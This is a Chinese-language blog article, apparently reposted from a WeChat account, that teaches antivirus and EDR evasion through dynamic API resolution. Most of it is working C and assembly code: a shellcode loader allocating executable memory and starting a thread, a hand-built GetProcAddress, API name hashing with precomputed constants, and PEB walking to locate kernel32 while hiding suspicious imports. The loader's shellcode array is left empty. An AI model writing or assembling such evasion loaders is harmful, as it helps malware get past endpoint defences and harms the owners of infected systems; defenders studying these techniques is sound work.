免杀之「API动态解析」

admin 2024年6月5日22:00:55评论2 views字数 15159阅读50分31秒阅读模式

    本文来自黑客在思考团队鬼屋女鬼,在写代码的时候,我们经常会使用到API动态解析这样的代码,本文把基础到应用的相关内容写的十分详细,是一篇好文,供大家学习。

                      ——菊花哥(恩师小天天)点评

一、前言

    导入地址表(IAT)包含有关PE文件的信息,操作系统在可执行文件启动时动态加载。例如使用的函数和导出函数的DLL,此类信息常被AV/EDR用来对二进制文件进行签名以及检测,例如,内存操作(VirtualAlloc、VirtualProcect)和线程操作函数(CreateRemoteThread)以及键盘记录器(SetWindowsHookEx)等等。

    如下图,下图展示了常规进程注入的二进制文件的导入地址簿,PE文件导入被认为是高度可疑的函数,因此,AV/EDR可以使用此信息来标记为 进程注入 等。

可以直接使用 dumpbin 查看文件导入表

dumpbin /import xxxxx.exe | findstr /i "xxxxx"
免杀之「API动态解析」
a623cc4817dcda8381148f9239bc34b

此处,其余的大部分的API函数都是由编译器添加的,不过也可以处理。

二、Dynamic winApi Resolution

需要用到两个函数GetProcAddressGetModuleHandleALoadLibraryA

FARPROC GetProcAddress(
  [in] HMODULE hModule, // 函数或变量的DLL模块的句柄 可用GetModuleHandle或LoadLibrary获取
  [in] LPCSTR  lpProcName // 函数或变量名
);
定义:
typedef int (FAR WINAPI *FARPROC)();

HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称,成功返回句柄 失败返回NULL
);

HMODULE LoadLibraryA( // 一个dll文件,成功返回句柄 失败返回NULL
LPCSTR lpLibFileName
);

修改后的Loader代码如下:

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);

void main()
{
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)GetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");

unsigned char shellcode[] = "";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}

缺点:虽然这种方法很简单方便,但是也有相对应的特征

  • 字符串存在于二进制文件中
  • 导入表中存在GetModuleHandle 和 GetProcAddress

三、自实现GetProcAddress

    回顾一下上面的知识,我们可以直接使用GetProcAddress函数来动态获取函数地址

例如:

PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");

那么有没有办法可以自己实现 GetProcAddress 函数呢?

    首先,GetProcAddress函数的第一个参数hModule,该参数表示加载的DLL的基址,当我们使用GetProcAddress动态获取函数时,需要从DLL中循环访问导出函数,并检查目标函数的名称是否存在来检索函数的地址。

    如果我们要访问导出函数,就必须访问DLL的导出表 并 循环搜索确定目标函数,总结下来,GetProcAddress底层就是解析导出表来查找目标函数。

回顾一下 导出表结构

导出表的结构定义如下

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

其中最主要的是最后三个结构

  • AddressOfFunctions- 指向导出函数地址表,存储函数地址
  • AddressOfNames- 指向导出函数名称表,存储函数名称地址
  • AddressOfNameOrdinals- 指向导出函数序号表,存储函数的序号

访问导出表

 // 获取模块的 DOS 头信息
 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
 // 获取模块的 NT 头信息
 PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
 // 获取模块的可选头部信息
 PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
 // 获取模块的导出表信息
 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
 
typedef struct _IMAGE_EXPORT_DIRECTORY {
    // ...
	// ...
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

由于这些元素是RVA,必须添加模块的基地址才能获得VA

	// 获取导出函数的地址表
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	// 获取导出函数名字的地址表
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	// 获取导出函数序号表
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

访问导出的函数

for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
	// Searching for the target exported function 
}

以动态获取VirtualAlloc 函数为例

	for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
	{
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		// 获取VirtualAlloc
		if (strcmp(pFunctionName, "VirtualAlloc") == 0)
		{
			// 解析得到的VirtualAlloc地址
			DWORD myVirtualAllocAddress = (DWORD)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
			printf("PE VirtualAllocAddress = %xn", myVirtualAllocAddress);
			break;
		}
	}

    上面代码已经实现了 GetProcAddress 函数的功能,但是代码中还是出现了 VirtualAlloc 字符,通常这也是一个检测点

四、结合API Hash

    针对上面代码出现的 API 名称 字符串,我们可以使用HASH字符串进行规避

API Hash 工作流程如下:

免杀之「API动态解析」
edf27dd57a99566f5185a13f2e22206

常用的hash算法如下:

1、Djb2

    Djb2 是一种简单快速的哈希算法,主要用于生成字符串的哈希值,它的工作原理是遍历输入字符串的每个字符,将字符的

ASCII码值与一个常数相乘,并不断的累加结果,累加的结果即为哈希值。

#include <Windows.h>
#include <stdio.h>

DWORD HashStringDjb2A( LPCSTR String)
{
ULONG Hash = 5381;
INT c = 0;

while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;

return Hash;
}

int main()
{

LPCSTR myString = "WaitForSingleObject";
DWORD hashValue = HashStringDjb2A(myString);

printf("API Hash value of the string '%s' is: 0x%xn", myString, hashValue);

return 0;
}

API Hash value of the string 'WaitForSingleObject' is: 0xeccda1ba

2、SDBM

    SDBM哈希算法的原理就是经典的位运算和累加操作

DWORD HashStringSdbmA(LPCSTR String)
{
	ULONG Hash = 0;  
	INT c;

while (c = *String++)
{
Hash = c + (Hash << 6) + (Hash << 16) - Hash;
}

return Hash;
}

3、LoseLose

    LoseLose 算法通过循环访问字符串中的每个字符并对每个字符的 ASCII 值求和来计算输入字符串的哈希值

DWORD HashStringLoseLoseA(LPCSTR String)
{
	ULONG Hash = 0;  
	INT c;

while (c = *String++)
{
Hash += c;
}

return Hash;
}

    直接修改上面的自实现 GetProcAddress 函数,将函数名字全部修改为hash值,通过对比hash值,将相应的导出函数地址赋值给相应的函数指针变量

 HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");

PVirtualAlloc funcVirtualAlloc;
PCreateThread funcCreateThread;
PWaitForSingleObject funcWaitForSingleObject;

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
if (HashStringDjb2A(pFunctionName) == 0x382c0f97)
{
// 如果哈希值相等,将相应的导出函数地址赋值给相应的函数指针变量
funcVirtualAlloc = (PVirtualAlloc)pFunctionAddress;
}
if (HashStringDjb2A(pFunctionName) == 0x7f08f452)
{
funcCreateThread = (PCreateThread)pFunctionAddress;
}
if (HashStringDjb2A(pFunctionName) == 0xeccda1ba)
{
funcWaitForSingleObject = (PWaitForSingleObject)pFunctionAddress;
}
}

五、利用PEB

通过上面的自实现 GetProcAddress() 函数 以及 API hash,导入表中已经没有了GetProcAddress(),但是还是存在GetModuleHandle,我们可以直接通过PEB来解决这个问题.

一、什么是PEB(Process Envirorment Block Structure)?

PEB全称是Process Environment Block 进程环境块。包含系统与当前进程关联的用户模式下的所有参数,比如说载入了的Dll的名字,进程开始处的参数,堆地址,检查当前进程是否在调试状态下以及DLL的镜像基地址等等。

二、什么是TEB?

TEB(thread environment block),也就是线程环境变量块,是在用户态下对线程的一种表示。在操作系统的分级下,其对于运行在最外层的用户态下的线程拥有最少的信息,对于运行在在最高级的内核态中的线程拥有最高级的信息。如果当前线程没有任何用户态的对象使用的话,那么就不会有TEB。原则上,如果一个线程在用户态下就能够完成处理,并且暂时不需要和内核态交互的话,那么这个信息就会放在TEB中。说白了,TEB是一个存储了线程基本属性的结构体。并且可以通过API来获得。

TEB的查找方式

  • 在32位中,TEB总是由FS:[0]指向的,TEB的偏移0x18是指向自己的指针,偏移0x30(fs:[0x30]) 指向PEB 地址

  • 在64位中,TEB是由GS:[0]指向的,TEB的偏移0x30是指向自己的指针,偏移0x60(gs:[0x60]) 指向PEB 地址

1.dt _TEB 可以看到PEB表偏移

0:000> dt _TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
   +0x078 Win32ThreadInfo  : Ptr64 Void
   +0x080 User32Reserved   : [26] Uint4B
   +0x0e8 UserReserved     : [5] Uint4B
   +0x100 WOW32Reserved    : Ptr64 Void
免杀之「API动态解析」

三、PEB结构

    PEB 的结构如下,文档参考:http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented Functions%2FNT Objects%2FProcess%2FPEB.html

typedef struct _PEB {
  BOOLEAN                 InheritedAddressSpace;
  BOOLEAN                 ReadImageFileExecOptions;
  BOOLEAN                 BeingDebugged;
  BOOLEAN                 Spare;
  HANDLE                  Mutant;
  PVOID                   ImageBaseAddress;
  PPEB_LDR_DATA           LoaderData;
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
  PVOID                   SubSystemData;
  PVOID                   ProcessHeap;
  PVOID                   FastPebLock;
  PPEBLOCKROUTINE         FastPebLockRoutine;
  PPEBLOCKROUTINE         FastPebUnlockRoutine;
  ULONG                   EnvironmentUpdateCount;
  PPVOID                  KernelCallbackTable;
  PVOID                   EventLogSection;
  PVOID                   EventLog;
  PPEB_FREE_BLOCK         FreeList;
  ULONG                   TlsExpansionCounter;
  PVOID                   TlsBitmap;
  ULONG                   TlsBitmapBits[0x2];
  PVOID                   ReadOnlySharedMemoryBase;
  PVOID                   ReadOnlySharedMemoryHeap;
  PPVOID                  ReadOnlyStaticServerData;
  PVOID                   AnsiCodePageData;
  PVOID                   OemCodePageData;
  PVOID                   UnicodeCaseTableData;
  ULONG                   NumberOfProcessors;
  ULONG                   NtGlobalFlag;
  BYTE                    Spare2[0x4];
  LARGE_INTEGER           CriticalSectionTimeout;
  ULONG                   HeapSegmentReserve;
  ULONG                   HeapSegmentCommit;
  ULONG                   HeapDeCommitTotalFreeThreshold;
  ULONG                   HeapDeCommitFreeBlockThreshold;
  ULONG                   NumberOfHeaps;
  ULONG                   MaximumNumberOfHeaps;
  PPVOID                  *ProcessHeaps;
  PVOID                   GdiSharedHandleTable;
  PVOID                   ProcessStarterHelper;
  PVOID                   GdiDCAttributeList;
  PVOID                   LoaderLock;
  ULONG                   OSMajorVersion;
  ULONG                   OSMinorVersion;
  ULONG                   OSBuildNumber;
  ULONG                   OSPlatformId;
  ULONG                   ImageSubSystem;
  ULONG                   ImageSubSystemMajorVersion;
  ULONG                   ImageSubSystemMinorVersion;
  ULONG                   GdiHandleBuffer[0x22];
  ULONG                   PostProcessInitRoutine;
  ULONG                   TlsExpansionBitmap;
  BYTE                    TlsExpansionBitmapBits[0x80];
  ULONG                   SessionId;
} PEB, *PPEB;

这里直接用WinDbg调试notepad.exe

1.dt _PEB 得到LDR链的地址偏移

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA //此处是LDR链的地址
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
   +0x030 ProcessHeap      : Ptr64 Void

2.dt _PEB_LDR_DATA。

    PRE_LDR_DATA结构体记录了当前进程中所有载入的模块,本质上是LDR_DATA_TABLE_ENTRY结构的三个双链表的头,每个表示一个加载的模块,结构如下

typedef struct _PEB_LDR_DATA {
  ULONG                   Length;
  BOOLEAN                 Initialized;
  PVOID                   SsHandle;
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA

0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
+0x040 EntryInProgress : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void

这里我们重点关注3个地方

InLoadOrderModuleList            模块加载顺序

InMemoryOrderModuleList 模块在内存中的顺序

InInitializationOrderModuleList 模块初始化装载顺序

    三个list都是双链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink),其中每个指针占用8个字节,区别是模块的排列顺序不同,结构如下

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY //指向下一个_LDR_DATA_TABLE_ENTRY结构的InInitializationOrderLinks:_LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY //指向上一个_LDR_DATA_TABLE_ENTRY结构的InInitializationOrderLinks:_LIST_ENTRY

 

每个模块记录的信息

typedef struct _LDR_MODULE {
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;

    FullDllName是dll的名称 从模块初始化装载顺序的链表已经是模块加载起始位置,而第一个加载的是ntdll.dll

3.dt _LDR_DATA_TABLE_ENTRY 查看DllBase偏移

    链接的对象就是结构体LDR_DATA_TABLE_ENTRY。这个对象中存放了一些和模块加载相关的内容,结构如下

typedef struct _LDR_DATA_TABLE_ENTRY
{
     LIST_ENTRY InLoadOrderLinks;
     LIST_ENTRY InMemoryOrderLinks;
     LIST_ENTRY InInitializationOrderLinks;
     PVOID DllBase;
     PVOID EntryPoint;
     ULONG SizeOfImage;
     UNICODE_STRING FullDllName;
     UNICODE_STRING BaseDllName;
     ULONG Flags;
     WORD LoadCount;
     WORD TlsIndex;
     union
     {
          LIST_ENTRY HashLinks;
          struct
          {
               PVOID SectionPointer;
               ULONG CheckSum;
          };
     };
     union
     {
          ULONG TimeDateStamp;
          PVOID LoadedImports;
     };
     _ACTIVATION_CONTEXT * EntryPointActivationContext;
     PVOID PatchInformation;
     LIST_ENTRY ForwarderLinks;
     LIST_ENTRY ServiceTagLinks;
     LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第一个_LIST_ENTRY结构指向这里
+0x010 InMemoryOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第二个_LIST_ENTRY结构指向这里
+0x020 InInitializationOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第三个_LIST_ENTRY结构指向这里
+0x030 DllBase : Ptr64 Void //DLL基址
+0x038 EntryPoint : Ptr64 Void
+0x040 SizeOfImage : Uint4B
+0x048 FullDllName : _UNICODE_STRING //带路径的dll的名称
+0x058 BaseDllName : _UNICODE_STRING //dll的名称
+0x068 FlagGroup : [4] UChar
+0x068 Flags : Uint4B
+0x068 PackagedBinary : Pos 0, 1 Bit
+0x068 MarkedForRemoval : Pos 1, 1 Bit
+0x068 ImageDll : Pos 2, 1 Bit
+0x068 LoadNotificationsSent : Pos 3, 1 Bit
+0x068 TelemetryEntryProcessed : Pos 4, 1 Bit
+0x068 ProcessStaticImport : Pos 5, 1 Bit

这个对象中前三个属性也是存放了当前所有模块中链表的基本信息的值。然后在偏移量为0x30的地方存放了当前DllBase

总结如图所示:免杀之「API动态解析」

四、通过汇编实现获取Kernel32

根据前面的知识,我们可以得到以下结论

  • peb_address = [teb_address + 0x60]
  • Ldr = [peb_address + 0x18]
  • ldr_data_table = [Ldr + 0x30]
  • dllbase = [ldr_data_table + 0x10]
  • next_ldr = [ldr_data_table]

此处为x64下通过汇编获取Kernel32地址

.code
getKernel32		proc
	mov rax,gs:[60h]   //peb from teb
	mov rax,[rax+18h]  //peb_ldr_data from peb
	mov rax,[rax+30h]  //InInitializationOrderModuleList.Flink ntdll.dll
	mov rax,[rax]  //kernelbase.dll
	mov rax,[rax]   //kernel32.dll
	mov rax,[rax+10h]  //dllbase
	ret
getKernel32		endp
end

x86直接直接内敛汇编即可,这里给出2种方式

	// 1、InLoadOrderModuleList
    unsigned int kerneladdress;
    __asm {
        xor eax, eax;清除eax
        mov eax, fs: [eax + 30h] ; 指向PEB的指针
        mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
        mov eax, [eax + 0ch]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
        mov esi, [eax]; esi指向InLoadOrderModuleList的第一个节点
        lodsd;  遍历InLoadOrderModuleList, 加载下一个节点
        mov eax, [eax + 18h]; Kernel32.dll的基地址, 在LDR_DATA_TABLE_ENTRY结构中基地址偏移0x18
        mov kerneladdress, eax; 保存kernel32.dll基地址
    }

// 2、InMemoryOrderModuleList
unsigned int kerneladdress;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov esi, [eax]
lodsd
mov eax, [eax + 10h]
mov kerneladdress, eax
}

上面是使用汇编的例子,我们直接写一个通用代码

int ContainsSubstringW(const WCHAR* substring, const WCHAR* bigstring) {
    const WCHAR* subpos = substring;
    const WCHAR* bigpos = bigstring;

while (*bigpos) {
if (towlower(*bigpos) == towlower(*subpos)) {
subpos++;
if (*subpos == L'�') {
return 1;
}
}
else {
subpos = substring;
}
bigpos++;
}
return 0;
}

HMODULE WINAPI MyGetModuleHandle(LPCWSTR sModuleName) {

#ifdef _M_IX86
PEB* peb = (PEB*)__readfsdword(0x30);
#else
PEB* peb = (PEB*)__readgsqword(0x60);
#endif

PEB_LDR_DATA* ldr = peb->Ldr;
LIST_ENTRY* listEntry = ldr->InMemoryOrderModuleList.Flink;

while (listEntry != &ldr->InMemoryOrderModuleList) {
LDR_DATA_TABLE_ENTRY* moduleEntry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (ContainsSubstringW(sModuleName, moduleEntry->FullDllName.Buffer)) {
wprintf(L"Found module: %lsn", moduleEntry->FullDllName.Buffer);
return (HMODULE)moduleEntry->DllBase;
}
listEntry = listEntry->Flink;
}
return NULL;
}

六、写在最后

    根据上面的知识,我们已经实现了GetProcAddress和GetModuleHandleA,可以用来动态获取API函数,除了 Dynamic API Resolution外,静态规避还会检测其他东西

图片为23年,济南线下沙龙演讲内容

免杀之「API动态解析」

 

    欢迎加入知识星球获取更多,更专业,更前沿的知识,

    星球已运营3年,累计数千条内容的知识,800+星友,快来一起学习免杀。

免杀之「API动态解析」

原文始发于微信公众号(黑客在思考):什么?你连这都不会还学免杀?之「API动态解析」

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月5日22:00:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀之「API动态解析」https://cn-sec.com/archives/2819609.html

发表评论

匿名网友 填写信息